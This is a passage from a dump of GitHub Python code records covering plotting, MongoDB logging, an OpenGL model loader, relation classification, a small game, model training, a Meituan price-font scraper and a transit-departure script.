1.0, 1.0, 0.0))\n ax2.set_xlabel('X(µm)')\n ax2.set_ylabel('Y(µm)')\n ax2.set_zlabel('Z(µm)')\n ax2.w_xaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax3.w_yaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax3.w_zaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax3.set_xlabel('X(µm)')\n ax3.set_ylabel('Y(µm)')\n ax3.set_zlabel('Z(µm)')\n plt.grid(True)\n plt.show()\n if save:\n fig.savefig('/Users/apple/YiLab/Raw_Data/System Reconsolidation/Figure/'+f'{trial_1 + \" and \" + trial_2}.svg',format='svg',dpi=150)\n\n\nif __name__ == '__main__':\n orgnizer = pd.read_csv('/Users/apple/YiLab/Raw_Data/System Reconsolidation/Point Cloud/After_Align_R/green/data_organize.csv')\n scatter_3d('1st TR','1st recall',orgnizer,save = True)","repo_name":"ChimesZ/3D-Align","sub_path":"3D_align/Plot functions/S.R.scatter_2.py","file_name":"S.R.scatter_2.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27379031522","text":"import logging\n\nfrom pymongo import monitoring\n\nclass CommandLogger(monitoring.CommandListener):\n\n def started(self, event):\n logging.info(\"Command {0.command} with request id \"\n \"{0.request_id} started on database \"\n \"{0.database_name}\".format(event))\n\n def succeeded(self, event):\n logging.info(\"Command {0.command_name} with request id \"\n \"{0.request_id} on server {0.connection_id} \"\n \"succeeded in {0.duration_micros} \"\n \"microseconds\".format(event))\n\n def failed(self, event):\n logging.info(\"Command {0.command_name} with request id \"\n \"{0.request_id} on server {0.connection_id} \"\n \"failed in {0.duration_micros} \"\n \"microseconds\".format(event))","repo_name":"stefano-dallona/plc-testbench-ui","sub_path":"ui/repositories/mongodb/loggers.py","file_name":"loggers.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33668235382","text":"#OpenGL imports\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nimport glm\n\n#Utility imports\nimport pyassimp as pim\nimport numpy as np\nimport ctypes as ct\n\n#General imports\nimport time as t\nimport os\n\n#Custom imports\nimport Texture as tx\nimport Mesh\n\nclass Model:\n\t#Class attributes\n\n\tnew_called = False\n\n\tloading_models = []\n\n\tall_models = {}\n\n\tdef retry_all_loading():\n\t\tfor model in list(Model.loading_models):\n\t\t\tmodel.retry_load()\n\n\tdef clean_all():\n\t\tfor path in Model.all_models.keys():\n\t\t\tmodel = Model.all_models[path]\n\n\t\t\tmodel.clean()\n\t\t\tModel.all_models.pop(path)\n\n\tdef load_model_texture(texture, model, uniform, mesh=-1):\n\t\tif type(model) == str:\n\t\t\tmodel = Model.new(model)\n\t\t\n\t\tif mesh == -1:\n\t\t\tfor mesh_a in model.meshes:\n\t\t\t\tmodel.add_texture(texture,mesh_a,uniform)\n\t\t\tmodel.all_textures[uniform] = texture\n\t\telse:\n\t\t\tmodel.add_texture(texture, mesh, uniform)\n\n\t#Instance attributes\n\tdef __init__(self, path):\n\t\tif Model.new_called == False:\n\t\t\traise Exception('Invalid initialization, use Model.new() instead of Model()')\n\t\tself.is_loaded = False\n\t\tself.all_textures = {}\n\t\tself.textures = []\n\t\tself.meshes = []\n\t\tself.dir = None\n\t\tself.path = path\n\t\tself.users = []\n\n\tdef new(path):\n\t\tModel.new_called = True\n\t\tself = Model(path)\n\t\t\n\t\tself = self.find_model(path)\n\n\t\tif not self.is_loaded:\n\t\t\tif not self in Model.loading_models:\n\t\t\t\tModel.loading_models.append(self)\n\n\t\tModel.all_models[path] = self\n\t\tModel.new_called = False\n\t\treturn self\n\n\tdef find_model(self, path):\n\t\tif path in Model.all_models:\n\t\t\treturn Model.all_models[path]\n\t\telse:\n\t\t\tself.load_model(path)\n\t\t\treturn self\n\n\tdef load_model(self, path):\n\t\ttry:\n\t\t\ttry:\n\t\t\t\tscene = pim.load(path,processing=pim.postprocess.aiProcess_Triangulate)\n\t\t\texcept BaseException as e:\n\t\t\t\tself.is_loaded = False\n\t\t\t\treturn False\n\n\t\t\tself.dir = path[:path.rindex('/')]\n\n\t\t\tself.process_node(scene.mRootNode,scene)\n\n\t\t\tfor usr in self.users:\n\t\t\t\tusr.model_load_callback(self)\n\n\t\t\tfor i in range(len(self.meshes)):\n\t\t\t\tfor key in self.textures[i]:\n\t\t\t\t\tself.meshes[i].add_texture(self.textures[i][key], key)\n\n\t\t\tfor key in self.all_textures:\n\t\t\t\tModel.load_model_texture(self.all_textures[key],self,key)\n\n\t\t\tself.is_loaded = True\n\n\t\t\treturn True\n\t\tfinally:\n\t\t\ttry:\n\t\t\t\tpim.release(scene)\n\t\t\texcept:\n\t\t\t\tpass\n\n\tdef retry_load(self):\n\t\tif self.load_model(self.path):\n\t\t\tModel.loading_models.pop(Model.loading_models.index(self))\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef process_node(self, node, scene):\n\t\tfor i in range(node.contents.mNumMeshes): \n\t\t\tmesh = scene.mMeshes[node.contents.mMeshes[i]]\n\t\t\tself.meshes.append(self.process_mesh(mesh, scene))\n\t\t\tself.textures.append({})\n\n\t\tfor i in range(node.contents.mNumChildren):\n\t\t\tself.process_node(node.contents.mChildren[i], scene)\n\n\tdef process_mesh(self, mesh, scene):\n\t\tvertices = []\n\t\tnormals = []\n\t\tt_coords = []\n\n\t\tindices = []\n\t\ttextures = []\n\n\t\tfor i in range(mesh.contents.mNumVertices):\n\t\t\tvertices.append((\n\t\t\t\tmesh.contents.mVertices[i].x,\n\t\t\t\tmesh.contents.mVertices[i].y,\n\t\t\t\tmesh.contents.mVertices[i].z\n\t\t\t\t))\n\n\t\t\tnormals.append((\n\t\t\t\tmesh.contents.mNormals[i].x,\n\t\t\t\tmesh.contents.mNormals[i].y,\n\t\t\t\tmesh.contents.mNormals[i].z\n\t\t\t\t))\n\n\t\t\tif mesh.contents.mTextureCoords[0]:\n\t\t\t\tt_coords.append((\n\t\t\t\t\tmesh.contents.mTextureCoords[0][i].x,\n\t\t\t\t\tmesh.contents.mTextureCoords[0][i].y\n\t\t\t\t\t))\n\n\t\tfor i in range(mesh.contents.mNumFaces):\n\t\t\tface = mesh.contents.mFaces[i]\n\t\t\tf_ind = ()\n\t\t\tfor j in range(face.mNumIndices):\n\t\t\t\tf_ind += (face.mIndices[j],)\n\t\t\tindices.append(f_ind)\n\n\t\tmaterial = None\n\t\tif mesh.contents.mMaterialIndex >= 0:\n\t\t\tmaterial = scene.mMaterials[mesh.contents.mMaterialIndex]\n\n\t\t\tif len(scene.textures) != 0:\n\t\t\t\tdiffuse_maps = self.load_material_textures(material, pim.material.aiTextureType_DIFFUSE, 'texture_diffuse')\n\t\t\t\ttextures.extend(diffuse_maps)\n\n\t\t\t\tspecular_maps = self.load_material_textures(material, pim.material.aiTextureType_SPECULAR, 'texture_specular')\n\t\t\t\ttextures.extend(specular_maps)\n\n\t\treturn Mesh.Mesh(vertices=vertices,normals=normals,t_coords=t_coords,indices=indices,textures=textures)\n\n\tdef add_texture(self, tex, mesh, uniform):\n\t\t#if given a path\n\t\tif type(tex) == str:\n\t\t\t#Create the texture\n\t\t\ttex = tx.Texture.new(tex)\n\t\tif type(mesh) == int:\n\t\t\tself.textures[mesh][uniform] = tex\n\t\t\tmesh = self.meshes[mesh]\n\t\telse:\n\t\t\tself.textures[self.meshes.index(mesh)][uniform] = tex\n\n\t\tmesh.add_texture(tex,uniform)\n\n\tdef get_empty_tx_arr(self):\n\t\treturn [{} for x in self.textures]\n\n\tdef add_user(self,usr):\n\t\tself.users.append(usr)\n\n\tdef rem_usr(self,usr):\n\t\tself.users.pop(self.users.index(usr))\n\n\tdef draw(self,shader,tx_ovr=None):\n\t\tif tx_ovr == None:\n\t\t\tfor mesh in self.meshes:\n\t\t\t\tmesh.draw(shader)\n\t\telse:\n\t\t\tfor i in range(len(self.meshes)):\n\t\t\t\tif i >= len(tx_ovr):\n\t\t\t\t\tself.meshes[i].draw(shader)\n\t\t\t\telse:\n\t\t\t\t\tself.meshes[i].draw(shader,tx_ovr[i])\n\t\treturn None\n\n\tdef clean(self):\n\t\tfor mesh in self.meshes:\n\t\t\tmesh.clean()\n\t\tif self.path in Model.all_models:\n\t\t\tModel.all_models.pop(self.path)","repo_name":"awsomowed/Python-OpenGL-Engine","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"69961135237","text":"import os\r\nimport time\r\n\r\n# --- GLOBAIS ---------------\r\n# conjunto A e seu tamanho (n)\r\nA = [1, 2, 3, 4, 5]\r\nn = len(A)\r\n# ----------------------------\r\n\r\n# verifica se a relação é simétrica\r\ndef is_symmetric(relation):\r\n for (a, b) in relation:\r\n if (b, a) not in relation:\r\n return False\r\n return True\r\n\r\n# verifica se a relação é transitiva\r\ndef is_transitive(relation):\r\n for (a, b) in relation:\r\n for (c, d) in relation:\r\n if b == c and (a, d) not in relation:\r\n return False\r\n return True\r\n\r\n# verifica se a relação é reflexiva\r\ndef is_reflexive(relation):\r\n for a in A:\r\n if (a, a) not in relation:\r\n return False\r\n return True\r\n\r\n# verifica se a relação é equivalente\r\ndef is_equivalent(relation):\r\n return is_symmetric(relation) and is_transitive(relation) and is_reflexive(relation)\r\n\r\n# verifica se a relação é irreflexiva\r\ndef is_irreflexive(relation):\r\n for a in A:\r\n if (a, a) in relation:\r\n return False\r\n return True\r\n\r\n# verifica se a relação é função\r\ndef is_function(relation):\r\n for a in A:\r\n b_values = [b for (x, b) in relation if x == a]\r\n if len(b_values) > 1:\r\n return False\r\n return True\r\n\r\n# verifica se a relação é função injetora\r\ndef is_injection(relation):\r\n b_values = [b for (a, b) in relation]\r\n return len(set(b_values)) == len(b_values)\r\n\r\n# verifica se a relação é função sobrejetora\r\ndef is_surjection(relation):\r\n a_values = [a for (a, b) in relation]\r\n return set(a_values) == A\r\n\r\n# verifica se a relação é função bijetora\r\ndef is_bijection(relation):\r\n return is_function(relation) and is_injection(relation) and is_surjection(relation)\r\n\r\n\r\n# classifica\r\ndef classify(relation):\r\n classification = \"\"\r\n if is_symmetric(relation):\r\n classification += \"S\"\r\n if is_transitive(relation):\r\n classification += \"T\"\r\n if is_reflexive(relation):\r\n classification += \"R\"\r\n if is_equivalent(relation):\r\n classification += \"E\"\r\n if is_irreflexive(relation):\r\n classification += \"I\"\r\n if is_function(relation):\r\n classification += \"Fu\"\r\n if is_bijection(relation):\r\n classification += \"Fb\"\r\n if is_surjection(relation):\r\n classification += \"Fs\"\r\n if is_injection(relation):\r\n classification += \"Fi\"\r\n return classification\r\n\r\n# retorna conjunto (relação)\r\ndef c_pares(subconj,n):\r\n relation = [(A[i//n], A[i%n]) for i in range(n*n) if subconj & (1<<(i)) != 0] \r\n return relation\r\n\r\n# main\r\ndef insert_data():\r\n aux = 0\r\n with open(\"clasification.txt\", \"w\") as f:\r\n for subconj in range(2**(n*n)):\r\n relation = c_pares(subconj,n)\r\n clas = classify(relation)\r\n # escrever as relações e suas classificações em um arquivo texto\r\n f.write(str(relation) +\" \"+ clas + \"\\n\")\r\n aux += 1\r\n return aux\r\n\r\ndef print_info(aux):\r\n # imprimir o tamanho do arquivo texto\r\n print(\"Tamanho do arquivo texto: \", os.path.getsize(\"clasification.txt\"), \"bytes\")\r\n # imprimir o tempo de execução\r\n print(\"Tempo de execucao: \", time.process_time(), \"segundos\")\r\n # imprimir o numro de ralações binárias\r\n print(f\"Numero de relacoes binarias: {aux}\")\r\n\r\ndef main():\r\n aux = insert_data()\r\n print_info(aux)\r\n\r\n\r\nmain()\r\n\r\n\r\n","repo_name":"gft109/matematica_discreta","sub_path":"t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18765248020","text":"import random\ndef game(computer, you):\n if computer == 'St':\n if you=='P':\n print(\"You win the game\")\n elif you=='Sc':\n print(\"Computer win the game\")\n print(\"You lose the game try another chance\")\n else:\n print(\"The game will tie\")\n elif computer == 'P':\n if you=='Sc':\n print(\"You win the game\")\n elif you=='St':\n print(\"Computer win the game\")\n print(\"You lose the game try another chance\")\n else:\n print(\"The game will tie\")\n elif computer == 'Sc':\n if you=='St':\n print(\"You win the game\")\n elif you=='P':\n print(\"Computer win the game\")\n print(\"You lose the game try another chance\")\n else:\n print(\"The game will tie\")\n \n\nrandNo = random.randint(1, 3)\n\nif randNo == 1:\n computer = 'St'\nelif randNo == 2:\n computer = 'P'\nelif randNo ==3:\n computer = 'Sc'\nprint(\"Computer Turn: Stone(St) Paper(P) Scissor(Sc)?\")\nyou = input(\"Your Turn: Stone(St) Paper(P) Scissor(Sc)?\")\ngame(computer, you)\nprint(f\"Computer choose {computer}\")\nprint(f\"You choose {you}\")\n\n","repo_name":"riyasinghbdn/StonePaperAndScissorGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2339282194","text":"import logging\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nfrom torch import optim\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\n\nfrom ...utils.functions import dict_to_str\nfrom ...utils.metricsTop import MetricsTop\n\nlogger = logging.getLogger('MMSA')\n\nclass TFR_NET():\n def __init__(self, args):\n self.args = args\n self.criterion = nn.L1Loss() if args.train_mode == 'regression' else nn.CrossEntropyLoss()\n self.metrics = MetricsTop(args.train_mode).getMetics(args.dataset_name)\n\n def do_train(self, model, dataloader, return_epoch_results=False):\n if self.args.use_bert_finetune:\n bert_no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\n bert_params = list(model.Model.text_model.named_parameters())\n\n bert_params_decay = [p for n, p in bert_params if not any(nd in n for nd in bert_no_decay)]\n bert_params_no_decay = [p for n, p in bert_params if any(nd in n for nd in bert_no_decay)]\n model_params_other = [p for n, p in list(model.named_parameters()) if 'text_model' not in n]\n\n optimizer_grouped_parameters = [\n {'params': bert_params_decay, 'weight_decay': self.args.weight_decay_bert, 'lr': self.args.learning_rate_bert},\n {'params': bert_params_no_decay, 'weight_decay': 0.0, 'lr': self.args.learning_rate_bert},\n {'params': model_params_other, 'weight_decay': self.args.weight_decay_other, 'lr': self.args.learning_rate_other}\n ]\n optimizer = optim.Adam(optimizer_grouped_parameters)\n else:\n optimizer = optim.Adam(model.parameters(), lr=self.args.learning_rate_other, weight_decay=self.args.weight_decay_other)\n\n scheduler = ReduceLROnPlateau(optimizer, mode='min', factor=0.1, verbose=True, patience=self.args.patience)\n\n epochs, best_epoch = 0, 0\n min_or_max = 'min' if self.args.KeyEval in ['Loss'] else 'max'\n best_valid = 1e8 if min_or_max == 'min' else 0\n if return_epoch_results:\n epoch_results = {\n 'train': [],\n 'valid': [],\n 'test': []\n }\n while True: \n epochs += 1\n y_pred, y_true = [], []\n losses = []\n model.train()\n train_loss, predict_loss, generate_loss = 0.0, 0.0, 0.0\n left_epochs = self.args.update_epochs\n with tqdm(dataloader['train']) as td:\n for batch_data in td:\n if left_epochs == self.args.update_epochs:\n optimizer.zero_grad()\n left_epochs -= 1\n \n text = batch_data['text'].to(self.args.device)\n text_m = batch_data['text_m'].to(self.args.device)\n text_missing_mask = batch_data['text_missing_mask'].to(self.args.device)\n audio = batch_data['audio'].to(self.args.device)\n audio_m = batch_data['audio_m'].to(self.args.device)\n audio_mask = batch_data['audio_mask'].to(self.args.device)\n audio_missing_mask = batch_data['audio_missing_mask'].to(self.args.device)\n vision = batch_data['vision'].to(self.args.device)\n vision_m = batch_data['vision_m'].to(self.args.device)\n vision_mask = batch_data['vision_mask'].to(self.args.device)\n vision_missing_mask = batch_data['vision_missing_mask'].to(self.args.device)\n labels = batch_data['labels']['M'].to(self.args.device)\n\n if self.args.train_mode == 'classification':\n labels = labels.view(-1).long()\n else:\n labels = labels.view(-1, 1)\n prediction, gen_loss = model((text, text_m, text_missing_mask), (audio, audio_m, audio_mask, audio_missing_mask), (vision, vision_m, vision_mask, vision_missing_mask))\n pred_loss = self.criterion(prediction, labels)\n if epochs > 1:\n loss = pred_loss + gen_loss\n else:\n loss = pred_loss\n loss.backward()\n \n if self.args.grad_clip != -1.0:\n nn.utils.clip_grad_value_([param for param in model.parameters() if param.requires_grad], self.args.grad_clip)\n\n optimizer.step()\n train_loss += loss.item()\n predict_loss += pred_loss.item()\n generate_loss += gen_loss.item()\n\n y_pred.append(prediction.cpu())\n y_true.append(labels.cpu())\n if not left_epochs:\n optimizer.step()\n left_epochs = self.args.update_epochs\n if not left_epochs:\n optimizer.step()\n train_loss = train_loss / len(dataloader['train'])\n predict_loss = predict_loss / len(dataloader['train'])\n generate_loss = generate_loss / len(dataloader['train'])\n \n pred, true = torch.cat(y_pred), torch.cat(y_true)\n train_results = self.metrics(pred, true)\n logger.info(\"TRAIN-(%s) (%d/%d/%d)>> loss: %.4f(pred: %.4f; gen: %.4f) %s\" % (self.args.model_name, \\\n epochs - best_epoch, epochs, self.args.cur_seed, train_loss, predict_loss, generate_loss, dict_to_str(train_results)))\n \n val_results = self.do_test(model, dataloader['valid'], mode=\"VAL\")\n cur_valid = val_results[self.args.KeyEval]\n scheduler.step(val_results['Loss'])\n\n isBetter = cur_valid <= (best_valid - 1e-6) if min_or_max == 'min' else cur_valid >= (best_valid + 1e-6)\n if isBetter:\n best_valid, best_epoch = cur_valid, epochs\n torch.save(model.cpu().state_dict(), self.args.model_save_path)\n model.to(self.args.device)\n\n # epoch results\n if return_epoch_results:\n train_results[\"Loss\"] = train_loss\n epoch_results['train'].append(train_results)\n epoch_results['valid'].append(val_results)\n test_results = self.do_test(model, dataloader['test'], mode=\"TEST\")\n epoch_results['test'].append(test_results)\n if epochs - best_epoch >= self.args.early_stop:\n return epoch_results if return_epoch_results else None\n\n def do_test(self, model, dataloader, mode=\"VAL\"):\n model.eval()\n y_pred, y_true = [], []\n eval_loss, predict_loss, generate_loss = 0.0, 0.0, 0.0\n with torch.no_grad():\n with tqdm(dataloader) as td:\n for batch_data in td:\n\n text = batch_data['text'].to(self.args.device)\n text_m = batch_data['text_m'].to(self.args.device)\n text_missing_mask = batch_data['text_missing_mask'].to(self.args.device)\n audio = batch_data['audio'].to(self.args.device)\n audio_m = batch_data['audio_m'].to(self.args.device)\n audio_mask = batch_data['audio_mask'].to(self.args.device)\n audio_missing_mask = batch_data['audio_missing_mask'].to(self.args.device)\n vision = batch_data['vision'].to(self.args.device)\n vision_m = batch_data['vision_m'].to(self.args.device)\n vision_mask = batch_data['vision_mask'].to(self.args.device)\n vision_missing_mask = batch_data['vision_missing_mask'].to(self.args.device)\n labels = batch_data['labels']['M'].to(self.args.device)\n\n if self.args.train_mode == 'classification':\n labels = labels.view(-1).long()\n else:\n labels = labels.view(-1, 1)\n\n outputs, gen_loss = model((text, text_m, text_missing_mask), (audio, audio_m, audio_mask, audio_missing_mask), (vision, vision_m, vision_mask, vision_missing_mask))\n\n pred_loss = self.criterion(outputs, labels)\n total_loss = pred_loss + gen_loss\n loss = pred_loss\n\n eval_loss += loss.item()\n predict_loss += pred_loss.item()\n generate_loss += gen_loss.item()\n\n y_pred.append(outputs.cpu())\n y_true.append(labels.cpu())\n eval_loss = eval_loss / len(dataloader)\n\n pred, true = torch.cat(y_pred), torch.cat(y_true)\n eval_results = self.metrics(pred, true)\n eval_results[\"Loss\"] = round(eval_loss, 4)\n\n logger.info(\"%s-(%s) >> %s\" % (mode, self.args.model_name, dict_to_str(eval_results)))\n return eval_results\n","repo_name":"thuiar/MMSA","sub_path":"src/MMSA/trains/missingTask/TFR_NET.py","file_name":"TFR_NET.py","file_ext":"py","file_size_in_byte":8954,"program_lang":"python","lang":"en","doc_type":"code","stars":467,"dataset":"github-code","pt":"62"} +{"seq_id":"5627201779","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n-------------------------------------------------\n File Name: parseTool \n Description : 这个文件用来处理美团字体解密的,\n Author : zhengyimiing \n date: 2020/4/8 \n-------------------------------------------------\n Change Activity:\n 2020/4/8 \n-------------------------------------------------\n\"\"\"\nimport pickle\nimport sys\n\nimport requests\n\n__author__ = 'zhengyimiing'\n\n\nfrom fontTools.ttLib import TTFont\nimport os\nimport json\nimport re\n\n\n# 获得j-gallery这段的字符串\ndef getFontUrl(UserJson):\n j_gallery_text = UserJson # 这儿再处理一遍去掉可能出现的东西\n UserJson = j_gallery_text.replace(\"'\",'\"').replace(\"\\\\\",\"\") # 这样才可以去掉了这一个杠杠\n test = re.findall('(?<=cssPath\\\\\"\\\\:\\\\\").*?(?=\\\\}\\\\,)',UserJson)[0]\n\n print()\n wofflist = re.findall('(?<=\\\\(\\\\\").*?(?=\\\\)\\\\;)',test) # j-gallery 那段string放进去就可以找到了\n# print(wofflist)\n print()\n font_url = ''\n for woffurl in wofflist:\n if woffurl.find(\"woff\")!=-1:\n tempwoff = re.findall('(?<=\\\\\").*?(?=\\\\\")',woffurl)\n # print(tempwoff)\n for j in tempwoff:\n if j.find(\"woff\")!=-1:\n print(\"https:\"+j)\n font_url = \"https:\"+ j\n\n # 提取字体成功\n print(\"提取字体url成功\")\n # print(font_url) \n return font_url\n\n\ndef download_font(img_url,imgName,path=None):\n headers = {'User-Agent':\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",\n } ##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)\n try:\n img = requests.get(img_url, headers=headers)\n dPath = os.path.join(\"woff\",imgName) # imgName传进来不需要带时间\n # print(dPath)\n print(\"字体的文件名 \"+dPath)\n f = open(dPath, 'ab')\n f.write(img.content)\n f.close()\n print(\"下载成功\")\n return dPath\n except Exception as e:\n print(e)\n\n# 从字体文件中获得字形数据用来备用待对比\ndef getGlyphCoordinates(filename):\n \"\"\"\n 获取字体轮廓坐标,手动修改key值为对应数字\n \"\"\"\n font = TTFont(\"woff/\"+f'{filename}') # 自动带上了woff文件夹\n # font.saveXML(\"bd10f635.xml\")\n glyfList = list(font['glyf'].keys())\n data = dict()\n for key in glyfList:\n # 剔除非数字的字体\n if key[0:3] == 'uni': # 这样对比都行,我感觉有\n data[key] = list(font['glyf'][key].coordinates)\n \n print(\"对比成功!\")\n # print(data)\n return data\n\n\ndef getFontData(font_url):\n # 合并两个操作,如果有的话就不用下载\n filename = os.path.basename(font_url)\n font_data = None\n if os.path.exists(\"woff/\"+filename):\n # 直接读取\n font_data = getGlyphCoordinates(filename) # 读取时候自带woff文件夹\n else:\n # 先下载再读取\n download_font(font_url, filename, path=None)\n font_data = getGlyphCoordinates(filename)\n if font_data == None:\n print(\"字题文件读取出错,请检查\")\n else:\n # print(font_data)\n return font_data\n\n\n# font_data = getFontData(font_url)/\n# font_data\n# 再整合一下\n\n\n# 自动分割并且大写,这两个要连着来调用,那么全部封装成一个对象好了\ndef splitABC(price_unicode):\n raw_price = price_unicode.split(\"&\")\n temp_price_unicode = []\n for x in raw_price:\n if x != \"\":\n temp_price_unicode.append(x.upper().replace(\"#X\", \"\").replace(\";\", \"\"))\n return temp_price_unicode # 提取出简化大写的 4 0 这个是原价 ,折扣价才是280 所以\n\n\ndef getBothSplit(UserJson): # 这个找找看,拆分出折扣价格和现在价格\n print(UserJson)\n UserJson = UserJson.replace(\"\\\\\", \"\").replace(\"'\", '\"')\n result_price = []\n result_discountprice = []\n try:\n price_unicode = re.findall('(?<=price\\\\\"\\\\:\\\\\").*?(?=\\\\\"\\\\,)', UserJson)[0] # 原假数字400\n result_price = splitABC(price_unicode)\n except Exception as e:\n print(\"没有找到价格\")\n print(e)\n\n try: # 可能没有找到,那就会有☞\n discountprice_unicode = re.findall('(?<=discountPrice\\\\\"\\\\:\\\\\").*?(?=\\\\\"\\\\,)', UserJson)[0] # 原假数字400\n result_discountprice = splitABC(discountprice_unicode)\n except Exception as e:\n print(\"没有找到折扣价\")\n print(e)\n # print(discountprice_unicode)\n # print(price_unicode)\n if result_discountprice == [] and result_price != []:\n result_discountprice = result_price # 如果折扣价为0的话,那么就等于原价好了\n return result_price,result_discountprice # 如果没有折扣那就,这个只是返回处理后的价格编码\n\n\n# price_unicode_list = splitABC(price_unicode)\n# discountprice_unicode_list = splitABC(discountprice_unicode)\n# price_unicode_list, discountprice_unicode_list = getBothPrice(UserJson)\n# print(price_unicode_list)\n# print(discountprice_unicode_list)\ndef pickdict(dict): # 序列化这个字典\n with open(os.path.join(os.path.abspath('.'),\"label_dict.pickle\"), \"wb\") as f:\n pickle.dump(dict, f)\n\n\ndef unpickdict() -> dict:\n d = {}\n with open(os.path.join(os.path.abspath('.'),\"label_dict.pickle\"), \"rb\") as f:\n\n d = pickle.load(f)\n return d\n\ndef parseNum(price_unicode_list,font_data): # 只需要输入处理后的价格的unicode_list 就可以了\n temp_woff_value = \"\"\n label_dict = unpickdict() # 直接文件中提取这个\n # print(label_dict)\n # print(font_data)\n for i in price_unicode_list:\n for key in font_data:\n # 加一个对小数点的判断\n if i.find(\".\")!=-1:\n # 找到有小数点的,\n temp_i = i.replace(\".\",\"\") # 先去掉,后面再加回来\n if key[3:] == temp_i:\n for label in label_dict:\n if label_dict[label]==font_data[key]:\n print(label)\n temp_woff_value = temp_woff_value+ str(label)+\".\"\n else:\n if key[3:] == i:\n # print(font_data[key]) # 再用这个数据和识别了字形数据的数据进行就可以了,第二次对比\n for label in label_dict:\n if label_dict[label]==font_data[key]:\n # print(label)\n print(str(label))\n temp_woff_value += str(label)\n print(\"result price previous\")\n print(temp_woff_value)\n return float(temp_woff_value)\n\n# print(parseNum(price_unicode_list,font_data))\n# print(parseNum(discountprice_unicode_list,font_data))\n# 下面的是main了()\ndef parsePriceMain(UserJson): # 测试用\n print(\"testing\")\n print(os.path.abspath(\".\"))\n # 这个就相当于是main函数了 ,代码块\n font_url = getFontUrl(UserJson) # 获得字体url\n # 获得处理后的 price,discountprice 的unicode_list\n price_unicode_list, discountprice_unicode_list = getBothSplit(UserJson)\n font_data = getFontData(font_url)\n real_price = parseNum(price_unicode_list,font_data)\n real_discount = parseNum(discountprice_unicode_list,font_data)\n print(\"\")\n print(real_price)\n print(real_discount)\n return real_price,real_discount\n\ndef merge(tempPriceJson): # 更新后使用这个来进行字体解密\n print(\"merge_testing\")\n print(os.path.abspath(\".\"))\n # 这个就相当于是main函数了 ,代码块\n font_url = getFontUrl(tempPriceJson) # 获得字体url\n # 获得处理后的 price,discountprice 的unicode_list\n price_unicode_list, discountprice_unicode_list = getBothSplit(tempPriceJson) # 获得两个价格的对应码\n print(\"提取到的价格代码\")\n print(price_unicode_list)\n print(discountprice_unicode_list)\n font_data = getFontData(font_url)\n print(f\"price_code {price_unicode_list}\")\n print(f\"discountPrice_code {discountprice_unicode_list}\")\n real_price = parseNum(price_unicode_list,font_data)\n real_discount = parseNum(discountprice_unicode_list,font_data)\n print(\"\")\n print(real_price)\n print(real_discount)\n return real_price,real_discount\n\n\nif __name__ == '__main__':\n print(os.path.abspath('.'))\n import requests\n # url = input(\"请输入你的网页\") todo 记得这个把woff文件给改了\n\n url = \"https://minsu.meituan.com/housing/2641002/\"\n headers = {\n # 'cookie':cookiestr,\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'\n }\n\n html = requests.get(headers=headers, url=url).content\n # 获得price中的那段string\n\n # 增加beautifulsoup来处理,这一段scrapy中可以省略,scrapy中替换为 findall那个,还要加上cssPath 的查找才可以\n from bs4 import BeautifulSoup\n\n soup = BeautifulSoup(html, 'lxml')\n j_gallery_text = soup.find(\"script\", attrs={\"id\": \"r-props-J-gallery\"}).get_text()\n UserJson = j_gallery_text\n real_price,real_discount = parsePriceMain(UserJson)\n print()\n print(\"输出价格如下:\")\n print(real_price)\n print(real_discount)","repo_name":"realzhengyiming/MeiTuanMinSu_DataAnalysis","sub_path":"myscrapy/myscrapy/spiders/parseTool.py","file_name":"parseTool.py","file_ext":"py","file_size_in_byte":9445,"program_lang":"python","lang":"zh","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"14506515343","text":"from datetime import datetime\nimport json\n\nfrom bs4 import BeautifulSoup\nimport click\nimport requests\nimport pytz\n\n\nURL = ('http://www2.vvs.de/vvs/widget/XML_DM_REQUEST?zocationServerActive=1'\n '&lsShowTrainsExplicit1&stateless=1&language=de&SpEncId=0&anySigWhenPerfectNoOtherMatches=1'\n '&depArr=departure&type_dm=any&anyObjFilter_dm=2&deleteAssignedStops=1&useRealtime=1'\n '&mode=direct&dmLineSelectionAll=1&name_dm={station_id}&itdDateYear={year}&itdDateMonth={month}'\n '&itdDateDay={day}&itdTimeHour={hour}&itdTimeMinute={minute}&limit={limit}')\n\nTIME_FORMAT = '%Y-%m-%d %H:%M'\n\nTIMEZONE = pytz.timezone('Europe/Berlin')\n\n\ndef _now():\n return datetime.now().replace(tzinfo=TIMEZONE)\n\n\ndef search(station_id, limit=50):\n now = _now()\n ctx = {\n 'station_id': station_id,\n 'year': now.year,\n 'month': now.month,\n 'day': now.day,\n 'hour': now.hour,\n 'minute': now.minute,\n 'limit': limit\n }\n url = URL.format(**ctx)\n return BeautifulSoup(requests.get(url).content, 'html.parser')\n\n\n@click.group()\ndef main():\n pass\n\n\n@main.command()\n@click.argument('station_id')\n@click.option('--direction', '-d', 